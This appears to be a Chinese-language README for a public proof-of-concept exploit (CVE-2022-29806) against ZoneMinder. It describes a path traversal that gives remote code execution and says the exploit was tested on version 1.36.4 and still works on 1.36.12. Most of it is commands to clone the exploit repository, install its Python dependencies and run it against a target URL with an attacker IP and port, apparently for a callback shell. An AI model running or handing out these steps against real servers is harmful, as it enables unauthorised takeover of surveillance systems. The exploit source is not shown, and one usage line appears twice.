ZoneMinder 1.36.12 及之前的语言权限提升(以及远程代码执行)

在 ZoneMinder 1.36.13 和 1.37.11 之前的版本中,调试日志文件和默认语言选项存在路径遍历漏洞,允许攻击者写入并执行任意代码,从而实现远程命令执行。
“该概念验证在 ZoneMinder 1.36.4 ubuntu18.04 docker (ZoneMinder/zmdockerfiles) 上测试通过,但仍适用于最新版本 1.36.12”
git clone https://github.com/OP3R4T0R/CVE-2022-29806
cd CVE-2022-29806
python3 exploit.py
python3 exploit.py -t <target_url> -ip <attacker_ip> -p <port>
python3 exploit.py -t <target_url> -ip <attacker-ip> -p <port>
pip3 install beautifulsoup4
pip3 install argparse
pip3 install requests
漏洞发现者:krastanoel